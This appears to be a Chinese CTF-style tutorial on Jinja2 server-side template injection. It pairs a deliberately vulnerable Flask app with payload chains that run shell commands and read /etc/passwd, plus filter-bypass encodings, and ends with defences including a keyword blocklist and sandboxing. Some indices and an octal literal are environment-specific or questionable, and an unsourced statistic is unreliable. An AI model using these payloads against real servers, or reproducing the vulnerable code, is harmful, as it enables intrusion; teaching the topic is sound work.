Hello-CTF SSTI模板注入:服务器端模板攻击
引言:当模板成为攻击向量
你是否曾经遇到过这样的情况:在一个Web应用中,你输入{{7*7}}后,页面竟然显示了49?这看似简单的数学运算背后,隐藏着一个严重的安全漏洞——SSTI(Server-Side Template Injection,服务器端模板注入)。
SSTI是一种允许攻击者通过操纵模板表达式来执行任意代码的漏洞。与SQL注入类似,它利用的是应用程序对用户输入的不当处理,但攻击的目标从数据库转移到了服务器端的模板引擎。
据统计,在CTF比赛中,SSTI类题目占比约15%,是Web安全方向的重要考点之一。
模板引擎基础:动态内容的生成机制
什么是模板引擎?
模板引擎是一种将静态模板与动态数据结合生成最终内容的系统。它的核心工作流程可以概括为:
常见模板引擎及其语法
| 模板引擎 | 语言 | 变量语法 | 控制结构语法 |
|---|---|---|---|
| Jinja2 | Python | {{ variable }} | {% if condition %} |
| Twig | PHP | {{ variable }} | {% if condition %} |
| Smarty | PHP | {$variable} | {if $condition} |
| Freemarker | Java | ${variable} | <#if condition> |
| Velocity | Java | $variable | #if($condition) |
SSTI漏洞的产生原因
SSTI漏洞通常源于开发者的错误认知:认为模板语法只在特定文件中有效。但实际上,当用户输入被直接拼接进模板时,攻击者就可以注入恶意模板代码。
漏洞代码示例:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/vulnerable')
def vulnerable():
name = request.args.get('name', 'Guest')
# 危险:用户输入直接拼接到模板中
template = f'<h1>Hello, {name}!</h1>'
return render_template_string(template)
SSTI攻击原理深度解析
Python对象模型与魔术方法
理解SSTI攻击的前提是掌握Python的对象模型。在Python中,一切皆为对象,每个对象都有其类和继承关系。
classDiagram
class object {
+__class__
+__base__
+__bases__
+__mro__
+__subclasses__()
}
class str {
+__class__
+__base__
}
class list {
+__class__
+__base__
}
object <|-- str
object <|-- list
关键魔术方法解析
__class__: 获取对象的类__base__: 获取类的直接父类__bases__: 获取类的所有父类(元组形式)__mro__: 方法解析顺序,显示继承链__subclasses__(): 获取类的所有子类__init__: 类的初始化方法__globals__: 获取函数的全局变量字典__builtins__: 内建名称空间,包含所有内置函数
攻击链构建:从对象到命令执行
SSTI攻击的核心思路是通过对象链式调用,最终达到执行任意代码的目的。其攻击流程如下:
实战演练:SSTI攻击全流程
环境搭建与靶场准备
为了演示SSTI攻击,我们使用一个简单的Flask应用作为靶场:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', 'World')
# 存在SSTI漏洞的代码
template = f'''
<!DOCTYPE html>
<html>
<head>
<title>SSTI Demo</title>
</head>
<body>
<h1>Hello, {name}!</h1>
<p>Welcome to our vulnerable application.</p>
</body>
</html>
'''
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)
第一步:检测SSTI漏洞
使用简单的数学运算测试是否存在SSTI:
GET /?name={{7*7}} HTTP/1.1
Host: localhost:5000
如果返回页面显示Hello, 49!而不是Hello, 7*7!,则确认存在SSTI漏洞。
第二步:识别模板引擎
不同模板引擎的语法略有差异,通过以下payload可以识别:
# Jinja2识别
{{''.__class__}}
# Twig识别
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
第三步:构建攻击链
方法一:基于字符串对象的攻击链
# 获取基类object
{{ ''.__class__.__base__ }}
# 获取所有子类
{{ ''.__class__.__base__.__subclasses__() }}
# 查找包含os模块的子类
{% for x in ''.__class__.__base__.__subclasses__() %}
{% if x.__init__.__globals__ and 'os' in x.__init__.__globals__ %}
{{ loop.index0 }}: {{ x.__name__ }}
{% endif %}
{% endfor %}
方法二:通用自动化payload
# 自动化查找并执行命令
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined %}
{% if 'os' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['os'].popen('whoami').read() }}
{% endif %}
{% endif %}
{% endfor %}
第四步:命令执行与文件操作
执行系统命令
# 使用os模块执行命令
{{ ''.__class__.__base__.__subclasses__()[132].__init__.__globals__['os'].popen('ls /').read() }}
# 使用subprocess模块
{{ ''.__class__.__base__.__subclasses__()[258]('ls /', shell=True, stdout=-1).communicate()[0] }}
# 使用eval函数
{{ ''.__class__.__base__.__subclasses__()[194].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()') }}
文件读取操作
# 使用内置open函数
{{ ''.__class__.__base__.__subclasses__()[194].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}
# 使用codecs模块
{{ ''.__class__.__base__.__subclasses__()[194].__init__.__globals__['__builtins__']['eval']("__import__('codecs').open('/etc/passwd').read()") }}
# 使用FileLoader(Python特有)
{{ ''.__class__.__base__.__subclasses__()[91]['get_data'](0, '/etc/passwd') }}
高级绕过技巧与防御规避
字符串拼接绕过过滤
当关键词被过滤时,可以使用字符串拼接:
# 原始payload
{{ ''.__class__.__base__.__subclasses__()[132].__init__.__globals__['os'].popen('ls').read() }}
# 字符串拼接绕过
{{ ''['__class__'] }}
{{ ''['__class__']['__base__'] }}
{{ ''['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['o'+'s']['popen']('ls')['read']() }}
十六进制/八进制编码
# 十六进制编码
{{ ''.__class__.__base__.__subclasses__()[0x84].__init__.__globals__['\x6f\x73'].popen('ls').read() }}
# 八进制编码
{{ ''.__class__.__base__.__subclasses__()[0204].__init__.__globals__['\157\163'].popen('ls').read() }}
使用attr过滤器(Jinja2特有)
# 使用attr过滤器访问属性
{{ ''|attr('__class__') }}
{{ ''|attr('__class__')|attr('__base__') }}
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')() }}
# 链式调用
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()[132]|attr('__init__')|attr('__globals__')['os']|attr('popen')('ls')|attr('read')() }}
防御措施与最佳实践
输入验证与过滤
import re
from flask import Flask, request, render_template_string
app = Flask(__name__)
def safe_template(template_str):
# 过滤危险的模板语法
dangerous_patterns = [
r'__class__', r'__base__', r'__bases__', r'__mro__',
r'__subclasses__', r'__init__', r'__globals__', r'__builtins__',
r'os\.', r'subprocess\.', r'popen', r'system', r'eval', r'exec'
]
for pattern in dangerous_patterns:
if re.search(pattern, template_str, re.IGNORECASE):
raise ValueError(f"检测到危险模式: {pattern}")
return template_str
@app.route('/safe')
def safe_endpoint():
name = request.args.get('name', 'World')
try:
safe_name = safe_template(name)
template = f'<h1>Hello, {safe_name}!</h1>'
return render_template_string(template)
except ValueError as e:
return f"输入包含危险内容: {str(e)}", 400
使用安全的模板渲染方式
# 不安全的方式:字符串拼接
template = f'<h1>Hello, {name}!</h1>'
# 安全的方式:使用模板参数
template = '<h1>Hello, {{ name }}!</h1>'
return render_template_string(template, name=name)
上下文隔离与沙箱环境
对于需要动态模板功能的场景,应该使用沙箱环境:
from jinja2.sandbox import SandboxedEnvironment
def render_safe_template(template_str, **context):
env = SandboxedEnvironment()
try:
template = env.from_string(template_str)
return template.render(**context)
except Exception as e:
return f"模板渲染错误: {str(e)}"
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



